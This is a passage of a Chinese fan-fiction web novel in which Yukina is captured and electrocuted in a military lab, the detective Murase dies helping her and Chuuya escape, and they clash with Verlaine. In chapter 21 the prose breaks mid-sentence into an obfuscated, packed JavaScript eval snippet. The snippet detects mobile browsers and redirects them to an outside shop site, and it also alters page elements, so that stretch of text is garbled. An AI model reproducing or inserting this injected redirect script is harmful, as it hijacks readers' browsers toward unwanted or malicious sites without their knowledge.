“看来两位嘉宾是不会再回来了呢。”白发少女无视身后的吵闹,面不改色地举起话筒,对着镜头露出职业化微笑,“观众朋友们,以上就是本期《今日要闻》的全部内容。我是主持人雪奈霜枝。无论后台如何精彩,更多内容请聚焦下一期。明晚八点,我们——不见不散!” 19.关于演出时的大失误(5.1) 事实上,我还是低估了这座军方设施的专业性,也低估了N这家伙的恶趣味。 我把警卫当成小丑耍得团团转的时候,他没出现;我破译了那几道门的密码进去溜达的时候,他没出现;我操作终端成功打开隔离墙,并向那些穿着白大褂的研究员问路的时候,他还没出现。 就在此刻,脑海里的警铃滴滴作响。 不对劲。 这些研究员看我的眼神,不对劲。 我立刻转身逃跑,但失败了。 疯狂的实验者们扔掉了手里的试管和记录板,七八个人一起扑上来,七手八脚地把我架起来。我连反抗的机会都没有,就被他们悬空抬着,合伙扔进了一个巨大的圆筒容器里。 里面全是透明的粘稠液体,说不上是什么,但很黏,很恶心,密度大得让我动弹不得。我感觉自己像具被泡在福尔马林里的标本,四肢摊开,连挣扎都显得很徒劳。 这还不是最糟糕的事情。 最糟糕的是,在这种手无缚鸡之力的情况下,N这家伙出现了。 穿着锃亮的红底皮鞋,披着西装外套,他就在所有人的注视下,大摇大摆地走了进来。最终在我面前停下,露出一个游刃有余的笑容。 这个样子真欠揍啊......我握紧拳头,最后还是因为液体的阻力泄了力。 “哟,这位胆大小姐,”男人靠过来,他的头发扁扁的,脸贴在玻璃上时让我想起了干巴的棉花糖。 他歪着头,眯起眼睛,似乎在回忆着什么。 “你这家伙......看起来很眼熟啊。” **** 纯白色的房间。 我被五花大绑地扔在地上,靠着墙勉强坐直身体,冷笑着看着村濑两兄弟。 “hi,雪奈。”刑警先生——村濑树一笑眯眯地冲我打招呼,像往常一样跟我打招呼,“你要记住女孩子不能在晚上独自游荡。对了,你还没有上学吗?” “哈?上学?就她?”研究员——N一脸不可置信地看着自己的傻弟弟,“瞎操心,你是她爸爸吗?” “嗯......”刑警先生陷入了思考,“薛定谔的爸爸?” “也对,毕竟这位小姐是靠着胡编乱造进来的。”N嗤笑一声,一脸不爽地说道,“用‘我’的姓氏,真是叫人不爽啊。” “那是刑警先生的姓氏。”我平静开口,语气里充满了反驳,“才不是你的。” “你这小鬼......”N的表情瞬间变得狰狞,扬起手。 我冲他挑眉。 并没出现清脆的巴掌声和火辣辣的疼痛,比这些更先到达的是刑警先生的阻拦。 “行了,哥哥!她说的不也没错吗?”树濑村一一把按住N的手,高声喊道,“率先抛弃这个名字、这个家庭的,不是哥哥你吗?!” 房间里陷入了可怕的沉默。许久,N先败下阵来,像是失去了所有力气似的,坐在那里一动不动。 树濑村一给我松了绑。 “真是抱歉啊,雪奈,让你看见这些。”他的语气有些尴尬,动作也很粗鲁。随后他将绳子扎在腰间,转头说道,“哥哥你这个样子还是在这里冷静冷静吧,接下来的事就交给我来做。” 我立刻警惕起来,“什么事情?” “关于你的事情。”刑警先生蹲下来,眼神充满悲悯,“害怕见到吗?” “带路吧。”我注视着对方,想了很多,最后开口时,声音无比坚定,“我并不是半途而废的性格。” 刑警先生微笑着,把什么东西塞进我手里。我低头一看,是那条弹-壳项链。 但它不再是冷冰冰的金属了,握在掌心时,我甚至能感觉到上面残留的温度,像是有什么没说完的话藏在里面。 我正要开口,却发现周围的一切都变了样。 墙上那座老钟的钟摆不再晃动了,窗外响起淅淅沥沥的雨声,连一直坐在那里的N也不见了,取而代之的是两座巨大的玻璃圆筒。 我就站在它们中间,作为分割线,低头望着脚下的缝隙。 然后,膝盖撞上了铁板。 是我单膝跪了下去。毫无预兆,像是被什么从身后推了一把。我抓住栏杆,面色苍白。 “你还好吗?”刑警先生问道。 “这是哪里?”我没有回答这个问题,强撑着身体站了起来。 “这里是零号实验室。五年前凭空出现,毫无征兆。”村濑树一俯视着我,语气认真,“偶然间,我发现了它,成为第一个踏足此地的人类。后来在我的帮助下,哥哥是第二个。这些年,哥哥一直想解开这里的秘密,却始终一无所获。” “但现在不同了。”刑警先生凝视着我,语气笃定,“你就是他等待的答案。” 脑海里响起幻象的声音,与他的话重合。 “存活的......是AS-1212!” “再注-射10ml以-太催化剂,实验品有反应!” “还有AS1221!生命特征微弱,注-射25ml!” 幻象里的声音大叫着,紧接着是瓶颈折断的裂纹声、针头刺入胶塞的吸附声,还有气泡上升的蠕动声,伴随着无数研究员的呐喊声。 这篇混沌的嘈杂里,一道细微却清透的声音破茧而出—— “你认识这里吗?” 有什么东西睁开双眼。 然后,门外跑进来几名持-枪士兵。在我身边,穿过我的身体,对准屋内的研究员。 是幻象,那里空无一人。 已经过去的景象,在记忆里再次上演。 “你是谁?”那道声音再次响起,“你的身下有一个圆圆的东西,那是什么?你的孩子吗?” “你很吵。” “什么是吵?” “我不知道。但我不想和你说话。” “我们在说话吗?”那个声音有些疑惑,随后喋喋不休,“你是谁?你认识这里吗?面前这个硬硬的东西是什么?” “我不知道,但我好像听见它们叫我1212。” “是吗?”未知声音十分疑惑,“我也听见了,它们叫我1221。” “我是什么样子?”过了一会,1212主动开口搭话。 “方方正正的长方体,带着一个疙瘩。”1221反问,“我呢?” “细细长长,似乎从哪里见过。”1212不确定地说,“就在刚刚——啊,我知道了,你是它们手里的那个东西。” 1221顺着1212的目光看去 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“......简直是奇迹。”开枪的人是村濑树一,他摸着手里的弹-壳,喃喃自语,“Artificial Soul,人造灵魂。这两座仪器里装的是实验产物1212和1221。而你是它们两个之间,1212的衍生物。” 我被他的话拉到现实。这里没有研究员,没有持-枪士兵。 重新生长的血肉将子弹一点点挤出,我深呼吸,保持冷静,“所以呢,我该恭喜你吗?挖出了新的国家机密?” “果然你也不是人类。” “所以你用人类的标准要求我?” 对方的表情一言难尽,随后像是逃避什么似的打开身后的门。 而这道门,在这之前是不存在的。 我将目光落在他手里的项链上。 门外是N。 他进门后,毫不犹豫地拿走村濑树一手里的枪,冲我连射三发。 子弹分别射入胸口,腹部和眉间。 “第二个奇迹啊。”N这么说到。“你的异能确实有点棘手,幸好我们找到了这个。” 他拿出一个小玻璃瓶,里面是空的,没有液体。 “只有一滴。”N笑着说,“你碰到了它,是什么感觉?” “以-太催化剂?”我调动着记忆。 这段时间内,我似乎并没有碰到什么奇怪的东西。 不。 来到这里之前,刑警先生递给我的那条项链。 他拎着链条,将吊坠送到我手中。 只有那个,触感和以前不同。 “竟然是这样,骗子......你们,两个。”我呻吟着,想睁开双眼,却只让黑暗裂开一条缝。 缝里,是N蹲下的身影。 “这样的话,”他的声音像念课文一样平淡,“下辈子再说吧。” 黑暗涌上来的那一刻,声音从很远的地方飘来,像隔着水幕,十分低沉。 啊,还是逃不过吗。 我想。 演出时的小失误,果真变成大失误了啊。 20.关于演出时的大失误(5.2) 有谁在悲鸣。 异常痛苦,就像心脏被撕裂一样。我强撑着睁开双眼。 自己被挂在铁丝网上,狰狞的铁丝穿过眉间、胸口和腹部。除了N开枪击中的这三个部位,铁丝还穿过了手腕。 对疼痛早已麻痹,一片混沌中,我看见了蓝色的电流。 然后,再次听到悲鸣。 除了自己,还有第二个倒霉蛋。我看向发出声音的方向。 是中也。 那双充满生机的鸢色瞳孔里,布满了猩红的血丝。 中也也发现了我。他的表情有一瞬间的呆滞,随后被巨大的疼痛淹没。 愤怒的咆哮,似乎要将天花板震碎。 但没有。中也的身体扭曲着,拼命挣扎,但效果微乎其微。最终也只是让手腕处的铁丝深入,流出血来。 真的是,失策了啊。 我无精打采得垂着头。 假的,什么都是假的。刑警先生的关心、教诲与坦白,是假的。门口的四名警卫是假的。还有N冠冕堂皇的说辞、村濑树一的责备、甚至连兄弟二人之间的争吵。这些通通都是假的。 我真的很讨厌村濑树一。 现在也是,只不过加上了他的哥哥。 眼前的大屏亮了起来,显现出一张可憎的面容。 是N。 他的身旁,是低着头,抚摸着弹-壳的村濑树一。 “我说,你们两位。”N笑着,担忧地问道,“痛苦吗?” “......杀了你。”另一侧的中也低吼着向前。 我抬头,咽下口中的鲜血,附和道,“杀了你。” “有些困难啊,衍生物小姐。”N看过来,“知道你有多宝贵吗?” 我没说话,因为又看见了蓝色的电流,比上一次还要粗,还要快。 中也已经陷入了昏迷。 我盯着他一动不动的样子,有些麻木。 “以-太催化剂,一种可以抑制异能的液体,明明已经失传许久,没想到竟再次出现。”N的声调上升了几个度,大屏上的表情也变得疯狂,“不在你的身上,衍生物小姐。而是在那个零号实验室里,正在陷入沉睡的产物身上。” “没有母亲不爱自己的孩子。” ——像是恶魔的低语。 插进腰部的棒子开始转动,尖刺连着锁链,那里注入了新的电流。 我咬唇。 没有发出一点声音。 “加大电压。”N对村濑树一说道,“提升至高档,打开零号实验室,投射在大屏上。” “但是心跳......”后者有些犹豫。 “那就再注-射10ml镇-定-剂。”N命令道,“磨蹭什么?快去!” 半途而废了啊。 电流涌进来的瞬间,我这么想着。 随后仰头,无意识地叫喊。 高昂的分贝震裂了显示屏。 然后,变故发生了。 零号实验室里突然折射出巨大的白光,直直冲着N射去,后者来不及躲避,硬生生接下了这一击。 “喂!哥哥,你没事吧?”村濑树一的声音里充满了担心。 “眼睛,看不见了!”N大喊着,“这不重要,别管我!你现在加大电流,打开逮捕按钮!” 一瞬间的寂静。 随后,村濑树一张了张嘴,发出了蚊咛般的声音,“对不起,哥哥......” 即便是这么细微的声音,也被N听得一清二楚。他大叫着抓住对方的裤腿,质问道,“你说什么?!” “我说,”村濑树一深吸一口气,声音陡然尖锐起来,“我说,对不起,哥哥!” 然后,刑警先生按下了绿色按钮。 束缚着我和中也的铁链,在这一刻,抽离了我们的身体。 重获新生! 我踉跄着奔向中也,把他背在背上。 “跟我来!”一出门,胳膊被抓住,刑警先生焦急地看着我们,“这里警卫很多,跟着我跑!” “滚!我不要!谁知道你有没有在假惺惺!”我一把拍开他的手,崩溃喊道,“离我远点!我们能出去!亚当——亚当——你在哪里——” 呐喊声在空气中消散,亚当没有出现,只引来了一群警卫。 “亚当——亚当——唔......” 大脑依旧很混乱,等我有力气思考的时候,才发现自己已经被村濑树一抱在了怀里,中也被扛在肩上。身手矫健的刑警先生用自己的身份卡打开了许多奇奇怪怪的密道,将身后一波又一波的警卫甩得远远的。 我这才反应过来,原来他是真想带我们逃跑的。 可这没有任何用处,我依旧恨他,并在心里暗自发誓。 只要出去,只要出去的那一瞬间,我一定会亲手杀了这个骗子! 设施内的地形很复杂。 如果是往常的话,我一定觉得这些根本不算什么。可现在的我感觉很累,全身上下的骨头都在哀鸣。 “清醒点,雪奈。”刑警先生低头看了我一眼,“不能晕,你出去不是还要杀了我吗?” “对啊,杀了你......”我撑起精神,开始扒拉中也,“喂,中也,快醒醒!” 路途的颠簸加上我的晃动,让中也发出一声干呕。 “就快到了。”村濑树一这么说着,一边打开最后一道金属门。随着“嘀”声响起,门轴发出久违的嘶鸣。 我看清了门外的全貌,那里矗立着一座悬于高空的巨大平台。旁边是一架孤零零的货运电梯,铁链在风中隐隐作响。平台的尽头,是一整面落地玻璃窗,窗外连接着平地。 而在玻璃的另一侧——亚当和白濑,就站在那里。 “喂!他们来了!”白濑指着我们呐喊。亚当见状立刻打碎玻璃,翻身进来,顺着铁链落在电梯旁。 “中也大人!雪奈小姐!” “在这里——”我有气无力地回答。 然后落入一个冰冷的怀抱。 “坚持住,我们马上就能出去了!”亚当打开电梯门,“还有,刑警先生,这里勉强可以挤下三个人......” “挤不下的。”村濑树一的声音很苦涩,他笑着摇头,“我这种家伙,是出不去的。” “说什么呢混蛋!”我拽着他的袖子,双眼通红,“想上演什么将功补过的戏码吗?” 亚当快速将中也安放好,安静地望向这边。 “真是糟糕啊,我这种人。” 刑警先生一根根掰开我的手指,动作很轻,像是在做一件在寻常不过的事。他抚摸着那条项链,指腹擦过吊坠边缘。 “我这种人,一次次利用你和中也的同情心,将你们的善良摁在地上,粉碎给你们看,害你们受了那么多的苦。”他笑了一声,“很 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“......什么?”我的大脑一片空白,下意识收紧手指去抓他。 “所以不用管我。”他轻声说,“我这种人,不管是出去还是留下,都难逃一死。” 然后他动了,先是甩开我的手,推了我一把,力道刚好让我后退一步,被亚当接住。 然后,刑警先生的手指摁下了电梯键。 门开始闭合。 我扑上去,开始拍打电梯门。透过那道越来越窄的缝隙,我看见刑警先生站在那里,身后是汹涌而来的黑影。 N。还有那些警卫。 刑警先生就站在那里,胸口和肩头沾着血迹,头发凌乱,却站得笔直。 他抬起头,看向我。 隔着这道门,我看见他的嘴唇动了动。 听不见声音,但我看懂了口型。 他说—— “下次再见。” 然后他举起配枪。 洞口抵住太阳穴,他的姿势很标准。我看见他的手指搭在扳机上,看见他的侧脸有一道阴影,看见他的嘴角还残留着那个苦笑。 不是给任何人看的,只是他最后的表情。 然后。 “砰——” 我的呐喊淹没在那里。 枪响的瞬间,无数道火光同时亮起。 叮叮当当——叮叮当当—— 这些子弹砸在电梯门上,像是狂风摇起风铃。 在这片嘈杂之中,一个声音在我脑海里响了起来。 是我许久未见的老妈。 “小枝。”她的语气很平淡,像在喊我回家吃饭,“握紧手中的弹-壳。” 我低头。 这枚承载着村濑树一一生痛苦的弹-壳,在我手里发出铜黄色光泽。 走廊里的人越来越小,也越来越模糊。最后缩成一个光点,消失在视野尽头。 我以后再也不会用枪了。 我这么想着,看向亚当。 配备情感模组的计算机没有说一句话,只是拿起项链,将它挂在我的脖子上。 然后。 我再也忍不住了。 在这叮叮咚咚的子弹声里,在这缓缓上升的黑暗里,我扑进亚当的怀里,失声痛哭。 21.关于演出时的意外惊喜(5.3) “小枝。”亚当轻轻拍了拍我的背,温声道,“我们现在还不是松懈的时候。”他突然顿了一下,语气里带着歉意,“中也大人,您醒了。” “这种情况下,不醒也不行了吧。”坐在一旁的赭发少年缓缓抬手,有气无力地说道,“副首领,你没有什么要向我解释的吗?” 我一愣,不知道该说些什么好。 按照太宰的计划现在确实是该坦白的时候,但想起刚才发生的事,我又不确定该怎么回答这个问题了。 虽然当时那个情况,在N谈及到我身上隐藏的秘密时中也已经陷入了昏迷......但我还是很担心啊,万一还是被听到了怎么办? 这种秘密还是不要被太多的人知道比较好! 于是我止住了抽噎,吸吸鼻子,转过身一脸无辜地看向他。 “喂,你这家伙,别装死啊......”对方在看见我满脸泪水后哑火了片刻,最终叹出一口气,“算了,你这家伙。这一切肯定也和太宰那个混蛋也脱不了关系。” 我觉得这个时候有必要为组织内勤勤恳恳的计划通正名。 于是我正色道,“这一切都在太宰的意料之中。” “所以那家伙就是故意的吧。” 怎么有种越描越黑的感觉! 好在中原中也没有继续追问,反而低下头,小憩起来。我识趣地闭上嘴,席地而坐。 但一直在亚当旁边的白濑开始不安分了,用手比划着什么,有几次甚至没有控制住音量。 我伸出右手食指,弯曲,比了个问号的姿势。 白濑抚一郎指指地上的中也,又指指自己的太阳穴,“还不明显吗?你难道看不出来他在自责地生气吗?” 我摇头,用同样的气音回答他,“自责和生气这两个词是怎么联系到一起的?” 白濑伸出胳膊,比了个大大的叉,“可能会伤害到他的自尊心吧。你知道的,没有我这个王的中也就像一头鲁莽的牛。” “我听得见,白濑!” 一直低着头的赭发少年突然大喊。 “哈?谁在说话?你幻听了吧?”被抓包的白濑梗着脖子,往亚当身后躲了躲,“你刚才可是受了很严重的伤,比我捡到你的时候还要严重!你知不知道这种情况下很容易幻听的!” 白发少年侧头,像是寻求什么似的看向亚当,“你说对吧,计算机先生?” 回答这个问题的不是亚当。 “很重的伤?” 是第五个人的声音。 熟悉的,低沉的,像一头处于爆发边缘的猛兽。 一只手悄无声息地出现在白濑的肩膀上,顺着方向看过去,是一张带着怒气的面孔。 “......魏尔伦?!” **** 英国伦敦,组合首领办公室—— 落地钟的铜质钟摆在地毯上投下缓慢移动的阴影,指针即将指向下午四点。 窗外,泰晤士河面上笼罩着一层灰雾,偶尔有海鸥飞过。不过这声音无法穿透办公室内的双层玻璃,一切的一切,都似乎和房间内侃侃而谈的人们无关。 房间内摆放着一张圆桌,正上方,巨大的水晶吊灯投下温润的光。这张圆桌从中线一分为二,两侧分别坐着组合现任首领赫尔曼·麦尔维尔和港口Mafia的森鸥外。他们身后各立着一人——金发的青年和红发的女子,宛如两座雕像。 这间办公室是标准的英伦风格。 森鸥外缓缓环视四周,目光掠过墙上的油画、壁炉上的时钟、墨绿色的落地窗帘和一整面墙的照片,最后目光定格在对面男人的脸上。他勾起嘴角,侧头对身后的女子说道:“看来港-黑的装修风格确实该换一换了,你觉得呢,红叶?” 尾崎红叶保持着标准的微笑,“一切都听您的。” 森鸥外重新将视线投向对面,“麦尔维尔先生认为如何?” “您喜欢就好,森先生。”白发男人笑呵呵地回答,手指轻敲着扶手,“从日本远道而来,真是辛苦啊。” “哪里。”森鸥外摆手,“倒是我们家爱丽丝最近迷上了英国的甜点,不知道麦尔维尔先生能否帮忙引荐一家政府专供店?” 此话一出,空气里有着片刻的凝滞。金发青年皱眉,一旁的麦尔维尔却笑出了声。 “说起这个,”他拍了拍身旁青年的背,力道恰到好处,彰显着亲近与信任,“组合目前还只是一个民间组织,不过一周后就不一样了。还是年轻人有办法,替组合争取到了英国政府的认可。”他顿了一下,像是想起什么似的说道,“还没告诉你,这孩子过两天就要结婚了。” “能在花样年华寻得一个真心爱人,还真是难得。” “别这么挤兑我手下的年轻人啊,森首领。” 金发青年适时起身,手放在胸口微微欠身以示敬意,“谢谢您的祝福,森首领。我正式邀请您参加一周后的婚礼,我的未婚妻会非常荣幸。” “婚礼就不必了,”森鸥外的声音依旧温和,却带着不容置疑的距离感,“届时黑-手-党会派人将贺礼送过来。” 麦尔维尔大笑起来,“只要别是带有黑-手-党作风的礼物就好。” 壁橱里的木炭发出脆响,四个人的呼吸声清晰可闻。 “哎呀——抱歉抱歉,我没来晚吧?” 门被猛地推开,一个小女孩风风火火地冲进来,皮鞋在地面上发出啪嗒声。她站定,歪头看向森鸥外,“我知道你!你是雪奈的父亲吧?我是玛丽,是她朋友。” 森鸥外点头,“下午好,小姐。” “好啦,闲话少说,让我们进入正题!”玛丽按了一下手表,在墙上投出一块巨大的荧幕,实时记录着这场谈话。 “组合对港口黑-手-党的森阁下有三个要求。”玛丽凌厉地说道,“首先,消灭世界第一杀手魏尔伦,至于相关人员已携带【圣杯】前往日本。其次,港口Mafia需要向组合提供【荒霸吐】所有相关资料。最后,承诺与组合结为同盟,自此互帮互助。” 森鸥外双手交叉,置于下颚。 “第一点倒是没问题啦,小事一桩的事。”他语气轻松,“第二点就有些棘手了,毕竟是涉及国家机密的要物。而我们还只是一个小小的、非官方的地下组织。” 他歪头,露出一脸为难的神色,“至于第三点,我可不敢轻易许诺。跨国结盟这种事,英国的境外支持政策实在繁琐,必须有另一个组织同意你们的转正资格——您说对吧,麦尔维尔先生?” “年轻人,别急着下定论。”麦尔维尔依旧是笑呵呵的样子,拍了拍手。 玛丽立刻调出另一份报告。荧幕一闪,一张照片占据了整个画面,正是雪奈霜枝本人。 “我们的成员查到了一些有趣的东西,森先生。”麦尔维尔压低声音,看似关心,实则带着一丝威胁,“是关于您那位女儿的。” 室内陷入死寂,传来了海鸥的鸣叫,声音很闷。 “那丫头的异能,确实很神奇。”麦尔维尔一字一句地说,“具有可持续生长性——通俗地来讲,能开发多个分支,只不过需要一些明确的引导。” “森先生。您觉得这份报告有没有诚意?” 森鸥外的笑容凝固了。不止是他,就连一向游刃有余的尾崎红叶此刻脸色也难看起来。二者对视,沉默了许久。 对面的白发男人好整以暇地靠近椅背,手指有节奏地敲打着桌面,耐心地等待着回答。 “年轻人啊。”他无奈地叹了一口气。 咚、咚、咚、咚。 座钟的时针指向四点。 钟声响起。 **** 真是最糟糕的时机! 此时出现的魏尔伦,无疑再次让我们陷入了麻烦之中。 毕竟这个麻烦主要集中在我身上啊! “放轻松,雪奈。我可不是来找你打架的。”魏尔伦稀奇地瞅了我一眼,“我是为了白濑而来。” “什......什么?”白濑抚一郎颤颤巍巍地说道,“那......那你们俩打架,谁赢了?” 魏尔伦没说话,放在白濑肩膀上的手一紧,那处布料肉眼可见地皱了起来。 一直坐在地上休息的赭发少年立刻起身,语气冰冷,“我就在这里,魏尔伦。” 是宣战,也是警告。因为像白濑抚一郎这样没有异能的普通人很容易被魏尔伦杀死。 “喂,你身上的伤,是怎么回事?”魏尔伦丝毫不在意中也的警告,上下扫视了一遍后问道,“弟弟?” “别叫我这个。”中也的脸皱了起来,“我虽然性格温良,不容易生气,但我唯独不能忍受你叫我弟弟。” 性格......温良吗? 我悄无声息地看向亚当和白濑,在他们的眼睛中果然看到了一丝疑惑。 不过这都不重要了,因为白濑此时被魏尔伦提溜了起来,他的眼神中立刻充满了惊恐,开始大叫起来。 “放开我!放开!你的目标不是不包括我吗?!” “果然......被太宰那家伙摆了一道。”魏尔伦眼神暗了暗,伸手挡住中也的攻击。 赭发少年顺势反转下身,手撑住地面,双腿猛然用力,直取魏尔伦的喉咙。 然后侧身翻转,回旋,翻转,再回旋。 闪亮的五连踢。 魏尔伦被打得节节败退。他用那只空闲的手抵挡着中也的攻击,开始不断后退,另一只手死死抓着白濑。 白发少年挣扎得越来越剧烈,而魏尔伦则是发动异能,防止自身倒下。 照这种趋势发展下去的话,先嗝屁的就是人质了! 很明显,中也发现了这点,他立刻停止攻击,准备救人。 而此时的魏尔伦也敏锐地发现了这点,利用这短暂的时间差开始回击。他纵身一跃,落地的瞬间用手抠地,就像勺子挖开果冻。 我们三人的表情发生了变化。 眨眼间,头顶的阳光被阴影吞噬,四周一片漆黑,只有巨大的水泥地块向我们飞速袭来。 真的是刚出虎穴又入狼窝! 我意识到自己目前的处境很危险,开始冷静分析起来。 水泥地块飞行的速度......太快了。 躲的话已经来不及了,除非我的身体能像蝴蝶一样散开再重聚。这样一想,就只能从水泥地上找出路。 中也几乎在同一时间抬起手。 我瞬间明白了他的意图——用重力击碎。 但这个念头刚冒出来,就被我立刻否定。 不行啊不行!行不通啊!这样对中也的伤害也太大了! 先不说我们两个都是刚刚遭受了电-击的小苦瓜,状态差得要命,能不能彻底击碎水泥地都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197476|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个问题。更何况就算它碎了,那些崩裂的混凝土又会成为新的武器,变得更小更密,打到身上只会更糟! 我没时间多想,一个跨步冲上去,按住中也的手。 无视对方的震惊,我开始思考起来。既然不能被击碎......就只剩下一个办法了。 我的异能。 可以控制时间的异能。 唯一的顾虑就是要在中也面前使用,还是这么近的距离。这么一来不管对方有没有听到,我的异能肯定是要暴露的了! 但是不发动的话——我想了一下后果。 ......会被完全砸成肉泥的! 我二话不说发动了异能。时间的线缠住那片混泥土,把它拉得在空中一滞。虽然不明显,但这点时间足够我们活下来了。 “喂!你这家伙的能力怎么不一样?”被我护在身后的中也眼里闪过一丝震惊。 根本不想解释啊!中也你就不能当作没看见吗?! “别管这么多了,赶紧跑!”我一边拽着中也飞奔,一边试图转移话题,“不过幸好,白濑这家伙在外面。要不然以他的胆子,又得增加工作量了。” “是啊。”赭发少年难得地没有反驳,赞同地说道,语气里带着一丝高兴。 但外面的白濑就不这么高兴了。 白濑抚一郎的声音遥遥传来,透过厚实的水泥地块,落在我们耳里。 “喂!我还在这里呢!你俩再骂!” 重见天日的那刻就看见吵吵嚷嚷的白濑,他紧紧挨着亚当。而在二者身旁的是蜷缩着身体的魏尔伦。 我的第一想法就是高兴,尤其是看见魏尔伦痛苦的样子后我就更高兴了。此时不封更待何时! 我催促着亚当拿出【圣杯】。 “【圣杯】?!那又是什么东西?”中也走了过来,“你们到底还有多少瞒着我的?” “呃,这个问题很难说,”我有些心虚,小心翼翼地问道,“到目前为止,你知道了多少?” “你和亚当在演戏,合伙儿来骗我。”赭发少年抱臂,没好气地开口,“还有太宰的交易、魏尔伦真正的暗杀目标,还有......”他顿了一下,“只有我才能杀死魏尔伦这件事,就这些。” “那就差不多了!到时候你就用这个东西封印他就好了!” “封印吗?”中也盯着正在发光的圣物,疑惑开口。 “其实和杀死他也没有区别了。”我解释道,“被关进这里,灵魂会逐渐消融的。” 所以我才费劲巴力地和他战斗! 等等——想到这里,我看向魏尔伦,突然像是开智了似的恍然大悟。 难道他变成这个样子,是因为承受不住灵魂的冲击吗? ——欸! 另一旁,中也接过了【圣杯】,捣鼓了起来,“这个要怎么用?” “打开就好了。”亚当说道,“【圣杯】会自己吸收的。” “这样吗,我试试。”中也将手放在杯口,用力转动。 无事发生。 “......根本打不开啊!” “这东西不是只有一个使用条件吗?” “还有一条,稍等,本机搜索一下......找到了!资料显示要在使用目标全形态的条件下使用。” “那不就是要打开‘门’的时候吗!”我失望地大喊,“这么重要的情报你不早说!” 可恶啊!看来目前还不能收下魏尔伦这个老登。 中也对此的反应倒是很平静,他将【圣杯】扔回去,淡淡开口,“我能感觉到。到时候这东西会呼唤我的。” 白濑挤了过来,愤愤不平地说道,“所以让魏尔伦变成这样的神秘人就这么白干了?” 不,是根本没有干!毕竟我也是刚刚知道这个神秘人就是自己! 我想了想,最后还是决定隐瞒这个情报。 于是我走过去,借着闲聊的机会踹了魏尔伦一脚,“你觉得这个神秘人会是谁呢,亚当?” “肯定是一位高手。”亚当认真地点头,“本机也想拥有这样的能力。” ——是的呀是的呀,我是高手。 中也的语气里带着欣赏,“连咱们三个都无法做到的事,而这个神秘人却做到了,真是厉害,哈。” ——是的呀是的呀,虽然我也在“三人”的范围内,但我就是这么厉害! “喂?!什么叫三个人!”另一道声音炸开,是白濑。他挥着手臂,大喊着冲了过来,“不准抛弃我!难道就不能是我干的吗?!” ——是的呀是的呀,怎么不会是白濑干的呢......等等! 我:“......好冷的笑话!” 中也举手,“赞同。” “白赖先生。”只有亚当在一本正经地纠正:“虽然这是不可能发生的事,但根据计算,要是想打败魏尔伦,得需要正无穷个你。” “......混蛋计算机!你什么意思?!” 亚当的语气依旧温和,耐心地回答道,“是字面意思。” 白发少年嚷得更凶了,语气里还带着一点哭腔,“你还嘲讽!” 白濑抚一郎真是我的快乐源泉啊。 我心情愉快地看向这一幕,默默想着。 这家伙咋咋呼呼的样子观赏性太高了,等我回到黑-手-党后一定会想念他的。 22.关于演出的落幕 魏尔伦的战斗力真的很强。 他这种状态到底是怎么在我们眼皮子底下逃跑的! 以至于现在...... “这肯定怪中也吧!再不然就是黑-手-党!”白濑抚一郎抱起手臂,尾音发飘,“反正跟我这个普通人没有任何关系!” 我蹲下身,用手指捻起一撮魏尔伦逃跑前踩过的泥土,凑到鼻尖闻了闻,一边回应道,“你不是王吗,算哪门子普通人?” 白濑的表情一下子尴尬下来,说话也支支吾吾,“你说得对!我可是王......我是王,王的事你少管!” “我也不是很想管王阁下的事......亚当,你过来帮我看下这是哪的泥。” “收到,霜枝小姐——”激光扫过,亚当念出结果,“检测出聚乙烯微粒含量超标,化学光谱显示汞峰值异常,初步判断为埋在垃圾堆附近的泥土。” “垃圾场?”中也皱起眉头,“又是太宰那家伙。” 白濑抚一郎的表情变了又变,不可置信地问道,“喂喂喂,啥意思?怎么突然扯到他身上了,难道他家在垃圾场不成?” “真是倒霉啊,中也,”我苦大仇深地说道,“魏尔伦是去找太宰未果后才摸到我们这里的。” “哈?!他还真住在垃圾场?” “你的意思是,”赭发少年顿了一下,补充道,“他的目标除了找N,还有太宰?” “N本来就是他的暗杀目标,毕竟他知道的秘密太多,这种人还是死了比较好。”我认真想了想,继续说道,“至于后面那个......估计是魏尔伦新加上去的吧,像是发现了信任的盟友背叛了自己什么的。” “喂,计算机。”白濑小心翼翼地看向亚当,“她刚才好像说了什么恐怖的话吧?” 亚当摇头。 另一旁的中也陷入了沉思,直到没人说话时,他才开口,语气坚韧,“我们要回去。” “为什么?”白濑不可置信地大喊,“回去救人吗?可这家伙不是对你们做了很不好的事情吗?” 不是救人,是杀人。 我在心里默默说道,终究没有将这句话说出口。 杀了N,这是我要回去的原因。 而中也是为了他的实验原型回去的吧。 我们对此都心知肚明,默契地没有拆穿对方。 所以,目前唯一需要担心的就是...... 我看向亚当。 这个计算机存在的理由是从犯-罪中保护人类,而我的决策会让他感到为难。 啧,突然有些后悔给他安装情感模组了。 亚当迎着目光看了过来,露出一个标准的电子微笑。 “不用担心,霜枝小姐。”他说,“我会全程保护中也大人的安全。” 这就是不会阻止我的意思了,我眨眨眼,带着笑意回答,“谢了。” “不用客气。” 白濑站在一旁,瞥了一眼中也,又瞥了一眼我,最后的目光定格在好脾气的亚当身上,说道,“不是吧,我们真要去?” 中也淡淡地说道,语气里没有一丝波澜:“你要是害怕的话也可以不去。” “谁害怕了!不就是再进去一次吗?!我可不怕!”白濑梗着脖子,“中也你可别忘了刚才是谁把你们救出来的!” “多亏了你啊,王阁下。”我观察着对方的神情,适时夸赞道,“所以你能再保护中也一次吗?” 中也楞了一下,突然变得暴躁起来,“谁要他保护!” “哈,中也,你放心吧,我会寸步不离地守着你的!” “烦死了,你这家伙!”赭发少年抬手给白濑来了一下,又看向幸灾乐祸的我,“还有你!” “哈,你要干什么?”我一脸警惕,“以下犯上吗?” “怎么,”对方抬起手,恶狠狠地说道,“你要开除我么?” 我:......! 与此同时,远在异国他乡的森鸥外收到了雪奈打来的电话。 “森鸥外——”我握紧手机,大声控诉道,“中也这家伙因为我不开除他就打我!” 电话那头发出尖锐爆鸣声,“......开除?!” 